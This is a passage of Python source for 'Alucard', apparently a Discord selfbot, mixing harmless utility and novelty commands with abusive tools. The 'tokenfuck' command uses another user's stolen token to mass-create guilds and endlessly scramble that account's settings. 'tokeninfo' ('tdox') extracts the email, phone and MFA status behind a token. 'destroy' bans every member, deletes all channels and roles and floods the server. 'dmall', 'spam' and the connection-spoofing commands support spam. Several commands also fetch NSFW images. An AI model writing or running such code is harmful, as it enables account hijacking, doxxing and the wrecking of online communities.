892 em.add_field(name=field['name'], value=field['value'], inline=True)
893 return await ctx.send(embed=em)
894
895@Alucard.command()
896async def pingweb(ctx, website = None): # b'\xfc'
897 await ctx.message.delete()
898 if website is None:
899 pass
900 else:
901 try:
902 r = requests.get(website).status_code
903 except Exception as e:
904 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
905 if r == 404:
906 await ctx.send(f'Site is down, responded with a status code of {r}', delete_after=3)
907 else:
908 await ctx.send(f'Site is up, responded with a status code of {r}', delete_after=3)
909
910@Alucard.command()
911async def tweet(ctx, username: str, *, message: str): # b'\xfc'
912 await ctx.message.delete()
913 async with aiohttp.ClientSession() as cs:
914 async with cs.get(f"https://nekobot.xyz/api/imagegen?type=tweet&username={username}&text={message}") as r:
915 res = await r.json()
916 em = discord.Embed()
917 em.set_image(url=res["message"])
918 await ctx.send(embed=em)
919
920@Alucard.command()
921async def revav(ctx, user: discord.Member=None): # b'\xfc'
922 await ctx.message.delete()
923 if user is None:
924 user = ctx.author
925 try:
926 em = discord.Embed(description=f"https://images.google.com/searchbyimage?image_url={user.avatar_url}")
927 await ctx.send(embed=em)
928 except Exception as e:
929 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
930
931@Alucard.command(aliases=['pfp', 'avatar'])
932async def av(ctx, *, user: discord.Member=None): # b'\xfc'
933 await ctx.message.delete()
934 format = "gif"
935 user = user or ctx.author
936 if user.is_avatar_animated() != True:
937 format = "png"
938 avatar = user.avatar_url_as(format = format if format != "gif" else None)
939 async with aiohttp.ClientSession() as session:
940 async with session.get(str(avatar)) as resp:
941 image = await resp.read()
942 with io.BytesIO(image) as file:
943 await ctx.send(file = discord.File(file, f"Avatar.{format}"))
944
945@Alucard.command(aliases=['ri', 'role'])
946async def roleinfo(ctx, *, role: discord.Role): # b'\xfc'
947 await ctx.message.delete()
948 guild = ctx.guild
949 since_created = (ctx.message.created_at - role.created_at).days
950 role_created = role.created_at.strftime("%d %b %Y %H:%M")
951 created_on = "{} ({} days ago)".format(role_created, since_created)
952 users = len([x for x in guild.members if role in x.roles])
953 if str(role.colour) == "#000000":
954 colour = "default"
955 color = ("#%06x" % random.randint(0, 0xFFFFFF))
956 color = int(colour[1:], 16)
957 else:
958 colour = str(role.colour).upper()
959 color = role.colour
960 em = discord.Embed(colour=color)
961 em.set_author(name=f"Name: {role.name}"
962 f"\nRole ID: {role.id}")
963 em.add_field(name="Users", value=users)
964 em.add_field(name="Mentionable", value=role.mentionable)
965 em.add_field(name="Hoist", value=role.hoist)
966 em.add_field(name="Position", value=role.position)
967 em.add_field(name="Managed", value=role.managed)
968 em.add_field(name="Colour", value=colour)
969 em.add_field(name='Creation Date', value=created_on)
970 await ctx.send(embed=em)
971
972@Alucard.command()
973async def whois(ctx, *, user: discord.Member = None): # b'\xfc'
974 await ctx.message.delete()
975 if user is None:
976 user = ctx.author
977 date_format = "%a, %d %b %Y %I:%M %p"
978 em = discord.Embed(description=user.mention)
979 em.set_author(name=str(user), icon_url=user.avatar_url)
980 em.set_thumbnail(url=user.avatar_url)
981 em.add_field(name="Joined", value=user.joined_at.strftime(date_format))
982 members = sorted(ctx.guild.members, key=lambda m: m.joined_at)
983 em.add_field(name="Join position", value=str(members.index(user)+1))
984 em.add_field(name="Registered", value=user.created_at.strftime(date_format))
985 if len(user.roles) > 1:
986 role_string = ' '.join([r.mention for r in user.roles][1:])
987 em.add_field(name="Roles [{}]".format(len(user.roles)-1), value=role_string, inline=False)
988 perm_string = ', '.join([str(p[0]).replace("_", " ").title() for p in user.guild_permissions if p[1]])
989 em.add_field(name="Guild permissions", value=perm_string, inline=False)
990 em.set_footer(text='ID: ' + str(user.id))
991 return await ctx.send(embed=em)
992
993@Alucard.command()
994async def minesweeper(ctx, size: int = 5): # b'\xfc'
995 await ctx.message.delete()
996 size = max(min(size, 8), 2)
997 bombs = [[random.randint(0, size - 1), random.randint(0, size - 1)] for x in range(int(size - 1))]
998 is_on_board = lambda x, y: 0 <= x < size and 0 <= y < size
999 has_bomb = lambda x, y: [i for i in bombs if i[0] == x and i[1] == y]
1000 message = "**Click to play**:\n"
1001 for y in range(size):
1002 for x in range(size):
1003 tile = "||{}||".format(chr(11036))
1004 if has_bomb(x, y):
1005 tile = "||{}||".format(chr(128163))
1006 else:
1007 count = 0
1008 for xmod, ymod in m_offets:
1009 if is_on_board(x + xmod, y + ymod) and has_bomb(x + xmod, y + ymod):
1010 count += 1
1011 if count != 0:
1012 tile = "||{}||".format(m_numbers[count - 1])
1013 message += tile
1014 message += "\n"
1015 await ctx.send(message)
1016
1017@Alucard.command()
1018async def combine(ctx, name1, name2): # b'\xfc'
1019 await ctx.message.delete()
1020 name1letters = name1[:round(len(name1) / 2)]
1021 name2letters = name2[round(len(name2) / 2):]
1022 ship = "".join([name1letters, name2letters])
1023 emb = (discord.Embed(description=f"{ship}"))
1024 emb.set_author(name=f"{name1} + {name2}")
1025 await ctx.send(embed=emb)
1026
1027@Alucard.command(name='1337-speak', aliases=['1337speak'])
1028async def _1337_speak(ctx, *, text): # b'\xfc'
1029 await ctx.message.delete()
1030 text = text.replace('a', '4').replace('A', '4').replace('e', '3')\
1031 .replace('E', '3').replace('i', '!').replace('I', '!')\
1032 .replace('o', '0').replace('O', '0').replace('u', '|_|').replace('U', '|_|')
1033 await ctx.send(f'`{text}`')
1034
1035@Alucard.command(aliases=['dvwl'])
1036async def devowel(ctx, *, text): # b'\xfc'
1037 await ctx.message.delete()
1038 dvl = text.replace('a', '').replace('A', '').replace('e', '')\
1039 .replace('E', '').replace('i', '').replace('I', '')\
1040 .replace('o', '').replace('O', '').replace('u', '').replace('U', '')
1041 await ctx.send(dvl)
1042
1043@Alucard.command()
1044async def blank(ctx): # b'\xfc'
1045 await ctx.message.delete()
1046 if config.get('password') == 'password-here':
1047 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your password in the config.json file"+Fore.RESET)
1048 else:
1049 password = config.get('password')
1050 with open('Images/Avatars/Transparent.png', 'rb') as f:
1051 try:
1052 await Alucard.user.edit(password=password, username="ٴٴٴٴ", avatar=f.read())
1053 except discord.HTTPException as e:
1054 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1055
1056@Alucard.command(aliases=['pfpget', 'stealpfp'])
1057async def pfpsteal(ctx, user: discord.Member): # b'\xfc'
1058 await ctx.message.delete()
1059 if config.get('password') == 'password-here':
1060 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your password in the config.json file"+Fore.RESET)
1061 else:
1062 password = config.get('password')
1063 with open('Images/Avatars/Stolen/Stolen.png', 'wb') as f:
1064 r = requests.get(user.avatar_url, stream=True)
1065 for block in r.iter_content(1024):
1066 if not block:
1067 break
1068 f.write(block)
1069 try:
1070 Image.open('Images/Avatars/Stolen/Stolen.png').convert('RGB')
1071 with open('Images/Avatars/Stolen/Stolen.png', 'rb') as f:
1072 await Alucard.user.edit(password=password, avatar=f.read())
1073 except discord.HTTPException as e:
1074 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1075
1076@Alucard.command(name='set-pfp', aliases=['setpfp', 'pfpset'])
1077async def _set_pfp(ctx, *, url): # b'\xfc'
1078 await ctx.message.delete()
1079 if config.get('password') == 'password-here':
1080 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your password in the config.json file"+Fore.RESET)
1081 else:
1082 password = config.get('password')
1083 with open('Images/Avatars/PFP-1.png', 'wb') as f:
1084 r = requests.get(url, stream=True)
1085 for block in r.iter_content(1024):
1086 if not block:
1087 break
1088 f.write(block)
1089 try:
1090 Image.open('Images/Avatars/PFP-1.png' ).convert('RGB')
1091 with open('Images/Avatars/PFP-1.png', 'rb') as f:
1092 await Alucard.user.edit(password=password, avatar=f.read())
1093 except discord.HTTPException as e:
1094 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1095
1096@Alucard.command(aliases=['dong', 'penis'])
1097async def dick(ctx, *, user: discord.Member = None): # b'\xfc'
1098 await ctx.message.delete()
1099 if user is None:
1100 user = ctx.author
1101 size = random.randint(1, 15)
1102 dong = ""
1103 for _i in range(0, size):
1104 dong += "="
1105 em = discord.Embed(title=f"{user}'s Dick size", description=f"8{dong}D", colour=0x0000)
1106 await ctx.send(embed=em)
1107
1108@Alucard.command(aliases=['changehypesquad'])
1109async def hypesquad(ctx, house): # b'\xfc'
1110 await ctx.message.delete()
1111 request = requests.Session()
1112 headers = {
1113 'Authorization': token,
1114 'Content-Type': 'application/json',
1115 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36'
1116 }
1117 if house == "bravery":
1118 payload = {'house_id': 1}
1119 elif house == "brilliance":
1120 payload = {'house_id': 2}
1121 elif house == "balance":
1122 payload = {'house_id': 3}
1123 elif house == "random":
1124 houses = [1, 2, 3]
1125 payload = {'house_id': random.choice(houses)}
1126 try:
1127 request.post('https://discordapp.com/api/v6/hypesquad/online', headers=headers, json=payload, timeout=10)
1128 except Exception as e:
1129 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1130
1131@Alucard.command(aliases=['tokenfucker', 'disable', 'crash'])
1132async def tokenfuck(ctx, _token): # b'\xfc'
1133 await ctx.message.delete()
1134 headers = {
1135 'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7',
1136 'Content-Type': 'application/json',
1137 'Authorization': _token,
1138 }
1139 request = requests.Session()
1140 payload = {
1141 'theme': "light",
1142 'locale': "ja",
1143 'message_display_compact': False,
1144 'inline_embed_media': False,
1145 'inline_attachment_media': False,
1146 'gif_auto_play': False,
1147 'render_embeds': False,
1148 'render_reactions': False,
1149 'animate_emoji': False,
1150 'convert_emoticons': False,
1151 'enable_tts_command': False,
1152 'explicit_content_filter': '0',
1153 'status': "invisible"
1154 }
1155 guild = {
1156 'channels': None,
1157 'icon': None,
1158 'name': "ALUCARD",
1159 'region': "europe"
1160 }
1161 for _i in range(50):
1162 requests.post('https://discordapp.com/api/v6/guilds', headers=headers, json=guild)
1163 while True:
1164 try:
1165 request.patch("https://canary.discordapp.com/api/v6/users/@me/settings",headers=headers, json=payload)
1166 except Exception as e:
1167 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1168 else:
1169 break
1170 modes = cycle(["light", "dark"])
1171 statuses = cycle(["online", "idle", "dnd", "invisible"])
1172 while True:
1173 setting = {
1174 'theme': next(modes),
1175 'locale': random.choice(locales),
1176 'status': next(statuses)
1177 }
1178 while True:
1179 try:
1180 request.patch("https://canary.discordapp.com/api/v6/users/@me/settings",headers=headers, json=setting, timeout=10)
1181 except Exception as e:
1182 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1183 else:
1184 break
1185
1186@Alucard.command()
1187async def masslogin(ctx, choice = None): # b'\xfc'
1188 await ctx.message.delete()
1189 _masslogin(choice)
1190
1191@Alucard.command()
1192async def masscon(ctx, _type, amount: int, *, name=None): # b'\xfc'
1193 await ctx.message.delete()
1194 payload = {
1195 'name': name,
1196 'visibility': 1
1197 }
1198 headers = {
1199 'Authorization': token,
1200 'Content-Type':'application/json',
1201 }
1202 avaliable = [
1203 'battlenet',
1204 'skype',
1205 'leagueoflegends'
1206 ]
1207 if name is None:
1208 name = 'about:blank'
1209 elif _type not in avaliable:
1210 print(f'Avaliable connections: {avaliable}')
1211 for _i in range(amount):
1212 try:
1213 ID = random.randint(10000000, 90000000)
1214 time.sleep(5)
1215 r = requests.put(f'https://canary.discordapp.com/api/v6/users/@me/connections/{_type}/{ID}', data=json.dumps(payload), headers=headers)
1216 if r.status_code == 200:
1217 print(f"[{Fore.GREEN}+{Fore.RESET}] New connection added!")
1218 else:
1219 print(f"[{Fore.RED}-{Fore.RESET}] Couldnt add connection!");break
1220 except (Exception, ValueError) as e:
1221 print(e);break
1222 print(f"[{Fore.GREEN}+{Fore.RESET}] Finished adding connections!")
1223
1224@Alucard.command(aliases=['fakeconnection', 'spoofconnection'])
1225async def fakenet(ctx, _type, *, name = None): # b'\xfc'
1226 await ctx.message.delete()
1227 ID = random.randrange(10000000, 90000000)
1228 avaliable = [
1229 'battlenet',
1230 'skype',
1231 'leagueoflegends'
1232 ]
1233 payload = {
1234 'name': name,
1235 'visibility': 1
1236 }
1237 headers = {
1238 'Authorization': token,
1239 'Content-Type':'application/json',
1240 }
1241 if name is None:
1242 name = 'about:blank'
1243 elif _type not in avaliable:
1244 await ctx.send(f'Avaliable connections: `{avaliable}`', delete_after = 3)
1245 r = requests.put(f'https://canary.discordapp.com/api/v6/users/@me/connections/{_type}/{ID}', data=json.dumps(payload), headers=headers)
1246 if r.status_code == 200:
1247 await ctx.send(f"Added connection: `{type}` with Username: `{name}` and ID: `{ID}`", delete_after = 3)
1248 else:
1249 await ctx.send('Some error has happened with the endpoint', delete_after = 3)
1250
1251@Alucard.command(aliases=['tokinfo', 'tdox'])
1252async def tokeninfo(ctx, _token): # b'\xfc'
1253 await ctx.message.delete()
1254 headers = {
1255 'Authorization': _token,
1256 'Content-Type': 'application/json'
1257 }
1258 try:
1259 res = requests.get('https://canary.discordapp.com/api/v6/users/@me', headers=headers)
1260 res = res.json()
1261 user_id = res['id']
1262 locale = res['locale']
1263 avatar_id = res['avatar']
1264 language = languages.get(locale)
1265 creation_date = datetime.datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime('%d-%m-%Y %H:%M:%S UTC')
1266 except KeyError:
1267 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Invalid token"+Fore.RESET)
1268 em = discord.Embed(
1269 description=f"Name: `{res['username']}#{res['discriminator']}`\nID: `{res['id']}`\nEmail: `{res['email']}`\nCreation Date: `{creation_date}`\nProfile picture: [**Click here**](https://cdn.discordapp.com/avatars/{user_id}/{avatar_id})")
1270 fields = [
1271 {'name': 'Phone', 'value': res['phone']},
1272 {'name': 'Flags', 'value': res['flags']},
1273 {'name': 'Local language', 'value': res['locale'] + f"{language}"},
1274 {'name': 'MFA?', 'value': res['mfa_enabled']},
1275 {'name': 'Verified?', 'value': res['verified']},
1276 ]
1277 for field in fields:
1278 if field['value']:
1279 em.add_field(name=field['name'], value=field['value'], inline=False)
1280 em.set_thumbnail(url=f"https://cdn.discordapp.com/avatars/{user_id}/{avatar_id}")
1281 return await ctx.send(embed=em)
1282
1283@Alucard.command()
1284async def copy(ctx): # b'\xfc'
1285 await ctx.message.delete()
1286 await Alucard.create_guild(f'backup-{ctx.guild.name}')
1287 await asyncio.sleep(4)
1288 for g in Alucard.guilds:
1289 if f'backup-{ctx.guild.name}' in g.name:
1290 for c in g.channels:
1291 await c.delete()
1292 for cate in ctx.guild.categories:
1293 x = await g.create_category(f"{cate.name}")
1294 for chann in cate.channels:
1295 if isinstance(chann, discord.VoiceChannel):
1296 await x.create_voice_channel(f"{chann}")
1297 if isinstance(chann, discord.TextChannel):
1298 await x.create_text_channel(f"{chann}")
1299 try:
1300 await g.edit(icon=ctx.guild.icon_url)
1301 except:
1302 pass
1303
1304@Alucard.command()
1305async def destroy(ctx): # b'\xfc'
1306 await ctx.message.delete()
1307 for channel in list(ctx.guild.channels):
1308 try:
1309 await channel.delete()
1310 except:
1311 pass
1312 for user in list(ctx.guild.members):
1313 try:
1314 await user.ban()
1315 except:
1316 pass
1317 for role in list(ctx.guild.roles):
1318 try:
1319 await role.delete()
1320 except:
1321 pass
1322 try:
1323 await ctx.guild.edit(
1324 name=RandString(),
1325 description="https://alucard.wtf",
1326 reason="https://alucard-selfbot.github.io",
1327 icon=None,
1328 banner=None
1329 )
1330 except:
1331 pass
1332 for _i in range(250):
1333 await ctx.guild.create_text_channel(name=RandString())
1334 for _i in range(250):
1335 await ctx.guild.create_role(name=RandString(), color=RandomColor())
1336
1337@Alucard.command()
1338async def dmall(ctx, *, message): # b'\xfc'
1339 await ctx.message.delete()
1340 for user in list(ctx.guild.members):
1341 try:
1342 await asyncio.sleep(5)
1343 await user.send(message)
1344 except:
1345 pass
1346
1347@Alucard.command()
1348async def massrole(ctx): # b'\xfc'
1349 await ctx.message.delete()
1350 for _i in range(250):
1351 try:
1352 await ctx.guild.create_role(name=RandString(), color=RandomColor())
1353 except:
1354 return
1355
1356@Alucard.command()
1357async def masschannel(ctx): # b'\xfc'
1358 await ctx.message.delete()
1359 for _i in range(250):
1360 try:
1361 await ctx.guild.create_text_channel(name=RandString())
1362 except:
1363 return
1364
1365@Alucard.command()
1366async def delchannels(ctx): # b'\xfc'
1367 await ctx.message.delete()
1368 for channel in list(ctx.guild.channels):
1369 try:
1370 await channel.delete()
1371 except:
1372 return
1373
1374@Alucard.command()
1375async def delroles(ctx): # b'\xfc'
1376 await ctx.message.delete()
1377 for role in list(ctx.guild.roles):
1378 try:
1379 await role.delete()
1380 except:
1381 pass
1382
1383@Alucard.command()
1384async def massunban(ctx): # b'\xfc'
1385 await ctx.message.delete()
1386 banlist = await ctx.guild.bans()
1387 for users in banlist:
1388 try:
1389 await asyncio.sleep(2)
1390 await ctx.guild.unban(user=users.user)
1391 except:
1392 pass
1393
1394@Alucard.command()
1395async def spam(ctx, amount: int, *, message): # b'\xfc'
1396 await ctx.message.delete()
1397 for _i in range(amount):
1398 await ctx.send(message)
1399
1400@Alucard.command()
1401async def dm(ctx, user : discord.Member, *, message): # b'\xfc'
1402 await ctx.message.delete()
1403 user = Alucard.get_user(user.id)
1404 if ctx.author.id == Alucard.user.id:
1405 return
1406 else:
1407 try:
1408 await user.send(message)
1409 except:
1410 pass
1411
1412@Alucard.command(name='get-color', aliases=['color', 'colour', 'sc'])
1413async def _get_color(ctx, *, color: discord.Colour): # b'\xfc'
1414 await ctx.message.delete()
1415 file = io.BytesIO()
1416 Image.new('RGB', (200, 90), color.to_rgb()).save(file, format='PNG')
1417 file.seek(0)
1418 em = discord.Embed(color=color, title=f'Showing Color: {str(color)}')
1419 em.set_image(url='attachment://color.png')
1420 await ctx.send(file=discord.File(file, 'color.png'), embed=em)
1421
1422@Alucard.command()
1423async def tinyurl(ctx, *, link): # b'\xfc'
1424 await ctx.message.delete()
1425 r = requests.get(f'http://tinyurl.com/api-create.php?url={link}').text
1426 em = discord.Embed()
1427 em.add_field(name='Shortened link', value=r, inline=False )
1428 await ctx.send(embed=em)
1429
1430@Alucard.command(aliases=['rainbow-role'])
1431async def rainbow(ctx, *, role): # b'\xfc'
1432 await ctx.message.delete()
1433 role = discord.utils.get(ctx.guild.roles, name=role)
1434 while True:
1435 try:
1436 await role.edit(role=role, colour=RandomColor())
1437 await asyncio.sleep(10)
1438 except:
1439 break
1440
1441@Alucard.command(name='groupleaver', aliase=['leaveallgroups', 'leavegroup', 'leavegroups'])
1442async def _group_leaver(ctx): # b'\xfc'
1443 await ctx.message.delete()
1444 for channel in bot.private_channels:
1445 if isinstance(channel, discord.GroupChannel):
1446 await channel.leave()
1447
1448@Alucard.command(name='8ball')
1449async def _ball(ctx, *, question): # b'\xfc'
1450 await ctx.message.delete()
1451 responses = [
1452 'That is a resounding no',
1453 'It is not looking likely',
1454 'Too hard to tell',
1455 'It is quite possible',
1456 'That is a definite yes!',
1457 'Maybe',
1458 'There is a good chance'
1459 ]
1460 answer = random.choice(responses)
1461 embed = discord.Embed()
1462 embed.add_field(name="Question", value=question, inline=False)
1463 embed.add_field(name="Answer", value=answer, inline=False)
1464 embed.set_thumbnail(url="https://www.horoscope.com/images-US/games/game-magic-8-ball-no-text.png")
1465 embed.set_footer(text=datetime.datetime.now())
1466 await ctx.send(embed=embed)
1467
1468@Alucard.command(aliases=['slots', 'bet'])
1469async def slot(ctx): # b'\xfc'
1470 await ctx.message.delete()
1471 emojis = "????????"
1472 a = random.choice(emojis)
1473 b = random.choice(emojis)
1474 c = random.choice(emojis)
1475 slotmachine = f"**[ {a} {b} {c} ]\n{ctx.author.name}**,"
1476 if (a == b == c):
1477 await ctx.send(embed=discord.Embed.from_dict({"title":"Slot machine", "description":f"{slotmachine} All matchings, you won!"}))
1478 elif (a == b) or (a == c) or (b == c):
1479 await ctx.send(embed=discord.Embed.from_dict({"title":"Slot machine", "description":f"{slotmachine} 2 in a row, you won!"}))
1480 else:
1481 await ctx.send(embed=discord.Embed.from_dict({"title":"Slot machine", "description":f"{slotmachine} No match, you lost"}))
1482
1483@Alucard.command()
1484async def joke(ctx): # b'\xfc'
1485 await ctx.message.delete()
1486 headers = {
1487 "Accept": "application/json"
1488 }
1489 async with aiohttp.ClientSession()as session:
1490 async with session.get("https://icanhazdadjoke.com", headers=headers) as req:
1491 r = await req.json()
1492 await ctx.send(r["joke"])
1493
1494@Alucard.command(name='auto-bump', aliases=['bump'])
1495async def _auto_bump(ctx, channelid): # b'\xfc'
1496 await ctx.message.delete()
1497 count = 0
1498 while True:
1499 try:
1500 count += 1
1501 channel = Alucard.get_channel(int(channelid))
1502 await channel.send('!d bump')
1503 print(f'{Fore.BLUE}[AUTO-BUMP] {Fore.GREEN}Bump number: {count} sent'+Fore.RESET)
1504 await asyncio.sleep(7200)
1505 except Exception as e:
1506 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1507
1508@Alucard.command()
1509async def tts(ctx, *, message): # b'\xfc'
1510 await ctx.message.delete()
1511 buff = await do_tts(message)
1512 await ctx.send(file=discord.File(buff, f"{message}.wav"))
1513
1514@Alucard.command()
1515async def upper(ctx, *, message): # b'\xfc'
1516 await ctx.message.delete()
1517 message = message.upper()
1518 await ctx.send(message)
1519
1520@Alucard.command(aliases=['guildpfp'])
1521async def guildicon(ctx): # b'\xfc'
1522 await ctx.message.delete()
1523 em = discord.Embed(title=ctx.guild.name)
1524 em.set_image(url=ctx.guild.icon_url)
1525 await ctx.send(embed=em)
1526
1527@Alucard.command(name='backup-f', aliases=['friendbackup', 'friend-backup', 'backup-friends', 'backupf'])
1528async def _backup_f(ctx): # b'\xfc'
1529 await ctx.message.delete()
1530 for friend in Alucard.user.friends:
1531 friendlist = (friend.name)+'#'+(friend.discriminator)
1532 with open('Backup/Friends.txt', 'a+') as f:
1533 f.write(friendlist+"\n" )
1534 for block in Alucard.user.blocked:
1535 blocklist = (block.name)+'#'+(block.discriminator)
1536 with open('Backup/Blocked.txt', 'a+') as f:
1537 f.write(blocklist+"\n" )
1538
1539@Alucard.command(name='first-message', aliases=['firstmsg', 'fm', 'firstmessage'])
1540async def _first_message(ctx, channel: discord.TextChannel = None): # b'\xfc'
1541 await ctx.message.delete()
1542 if channel is None:
1543 channel = ctx.channel
1544 first_message = (await channel.history(limit=1, oldest_first=True).flatten())[0]
1545 embed = discord.Embed(description=first_message.content)
1546 embed.add_field(name="First Message", value=f"[Jump]({first_message.jump_url})")
1547 await ctx.send(embed=embed)
1548
1549@Alucard.command()
1550async def mac(ctx, mac): # b'\xfc'
1551 await ctx.message.delete()
1552 r = requests.get('http://api.macvendors.com/' + mac)
1553 em = discord.Embed(title='MAC Lookup Result', description=r.text, colour=0xDEADBF)
1554 em.set_author(name='MAC Finder', icon_url='https://regmedia.co.uk/2016/09/22/wifi_icon_shutterstock.jpg?x=1200&y=794')
1555 await ctx.send(embed=em)
1556
1557@Alucard.command()
1558async def abc(ctx): # b'\xfc'
1559 await ctx.message.delete()
1560 ABC = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'ñ', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
1561 message = await ctx.send(ABC[0])
1562 await asyncio.sleep(2)
1563 for _next in ABC[1:]:
1564 await message.edit(content=_next)
1565 await asyncio.sleep(2)
1566
1567@Alucard.command(aliases=['bitcoin'])
1568async def btc(ctx): # b'\xfc'
1569 await ctx.message.delete()
1570 r = requests.get('https://min-api.cryptocompare.com/data/price?fsym=BTC&tsyms=USD,EUR')
1571 r = r.json()
1572 usd = r['USD']
1573 eur = r['EUR']
1574 em = discord.Embed(description=f'USD: `{str(usd)}$`\nEUR: `{str(eur)}€`')
1575 em.set_author(name='Bitcoin', icon_url='https://cdn.pixabay.com/photo/2013/12/08/12/12/bitcoin-225079_960_720.png')
1576 await ctx.send(embed=em)
1577
1578@Alucard.command(aliases=['ethereum'])
1579async def eth(ctx): # b'\xfc'
1580 await ctx.message.delete()
1581 r = requests.get('https://min-api.cryptocompare.com/data/price?fsym=ETH&tsyms=USD,EUR')
1582 r = r.json()
1583 usd = r['USD']
1584 eur = r['EUR']
1585 em = discord.Embed(description=f'USD: `{str(usd)}$`\nEUR: `{str(eur)}€`')
1586 em.set_author(name='Ethereum', icon_url='https://cdn.discordapp.com/attachments/271256875205525504/374282740218200064/2000px-Ethereum_logo.png')
1587 await ctx.send(embed=em)
1588
1589@Alucard.command()
1590async def topic(ctx): # b'\xfc'
1591 await ctx.message.delete()
1592 r = requests.get('https://www.conversationstarters.com/generator.php').content
1593 soup = bs4(r, 'html.parser')
1594 topic = soup.find(id="random").text
1595 await ctx.send(topic)
1596
1597@Alucard.command(aliases=['wouldyourather', 'would-you-rather', 'wyrq'])
1598async def wyr(ctx): # b'\xfc'
1599 await ctx.message.delete()
1600 r = requests.get('https://www.conversationstarters.com/wyrqlist.php').text
1601 soup = bs4(r, 'html.parser')
1602 qa = soup.find(id='qa').text
1603 qor = soup.find(id='qor').text
1604 qb = soup.find(id='qb').text
1605 em = discord.Embed(description=f'{qa}\n{qor}\n{qb}')
1606 await ctx.send(embed=em)
1607
1608@Alucard.command()
1609async def hastebin(ctx, *, message): # b'\xfc'
1610 await ctx.message.delete()
1611 r = requests.post("https://hastebin.com/documents", data=message).json()
1612 await ctx.send(f"<https://hastebin.com/{r['key']}>")
1613
1614@Alucard.command()
1615async def ascii(ctx, *, text): # b'\xfc'
1616 await ctx.message.delete()
1617 r = requests.get(f'http://artii.herokuapp.com/make?text={urllib.parse.quote_plus(text)}').text
1618 if len('```'+r+'```') > 2000:
1619 return
1620 await ctx.send(f"```{r}```")
1621
1622@Alucard.command()
1623async def anal(ctx): # b'\xfc'
1624 await ctx.message.delete()
1625 r = requests.get("https://nekos.life/api/v2/img/anal")
1626 res = r.json()
1627 em = discord.Embed()
1628 em.set_image(url=res['url'])
1629 await ctx.send(embed=em)
1630
1631@Alucard.command()
1632async def erofeet(ctx): # b'\xfc'
1633 await ctx.message.delete()
1634 r = requests.get("https://nekos.life/api/v2/img/erofeet")
1635 res = r.json()
1636 em = discord.Embed()
1637 em.set_image(url=res['url'])
1638 await ctx.send(embed=em)
1639
1640@Alucard.command()
1641async def feet(ctx): # b'\xfc'
1642 await ctx.message.delete()
1643 r = requests.get("https://nekos.life/api/v2/img/feetg")
1644 res = r.json()
1645 em = discord.Embed()
1646 em.set_image(url=res['url'])
1647 await ctx.send(embed=em)
1648
1649@Alucard.command()
1650async def hentai(ctx): # b'\xfc'
1651 await ctx.message.delete()
1652 r = requests.get("https://nekos.life/api/v2/img/Random_hentai_gif")
1653 res = r.json()
1654 em = discord.Embed()
1655 em.set_image(url=res['url'])
1656 await ctx.send(embed=em)
1657
1658@Alucard.command()
1659async def boobs(ctx): # b'\xfc'
1660 await ctx.message.delete()
1661 r = requests.get("https://nekos.life/api/v2/img/boobs")
1662 res = r.json()
1663 em = discord.Embed()
1664 em.set_image(url=res['url'])
1665 await ctx.send(embed=em)
1666
1667@Alucard.command()
1668async def tits(ctx): # b'\xfc'
1669 await ctx.message.delete()
1670 r = requests.get("https://nekos.life/api/v2/img/tits")
1671 res = r.json()
1672 em = discord.Embed()
1673 em.set_image(url=res['url'])
1674 await ctx.send(embed=em)
1675
1676@Alucard.command()
1677async def blowjob(ctx): # b'\xfc'
1678 await ctx.message.delete()
1679 r = requests.get("https://nekos.life/api/v2/img/blowjob")
1680 res = r.json()
1681 em = discord.Embed()
1682 em.set_image(url=res['url'])
1683 await ctx.send(embed=em)
1684
1685@Alucard.command()
1686async def lewdneko(ctx): # b'\xfc'
1687 await ctx.message.delete()
1688 r = requests.get("https://nekos.life/api/v2/img/nsfw_neko_gif")
1689 res = r.json()
1690 em = discord.Embed()
1691 em.set_image(url=res['url'])
1692 await ctx.send(embed=em)
1693
1694@Alucard.command()
1695async def lesbian(ctx): # b'\xfc'
1696 await ctx.message.delete()
1697 r = requests.get("https://nekos.life/api/v2/img/les")
1698 res = r.json()
1699 em = discord.Embed()
1700 em.set_image(url=res['url'])
1701 await ctx.send(embed=em)
1702
1703@Alucard.command()
1704async def feed(ctx, user: discord.Member): # b'\xfc'
1705 await ctx.message.delete()
1706 r = requests.get("https://nekos.life/api/v2/img/feed")
1707 res = r.json()
1708 em = discord.Embed(description=user.mention)
1709 em.set_image(url=res['url'])
1710 await ctx.send(embed=em)
1711
1712@Alucard.command()
1713async def tickle(ctx, user: discord.Member): # b'\xfc'
1714 await ctx.message.delete()
1715 r = requests.get("https://nekos.life/api/v2/img/tickle")
1716 res = r.json()
1717 em = discord.Embed(description=user.mention)
1718 em.set_image(url=res['url'])
1719 await ctx.send(embed=em)
1720
1721@Alucard.command()
1722async def slap(ctx, user: discord.Member): # b'\xfc'
1723 await ctx.message.delete()
1724 r = requests.get("https://nekos.life/api/v2/img/slap")
1725 res = r.json()
1726 em = discord.Embed(description=user.mention)
1727 em.set_image(url=res['url'])
1728 await ctx.send(embed=em)
1729
1730@Alucard.command()
1731async def hug(ctx, user: discord.Member): # b'\xfc'
1732 await ctx.message.delete()
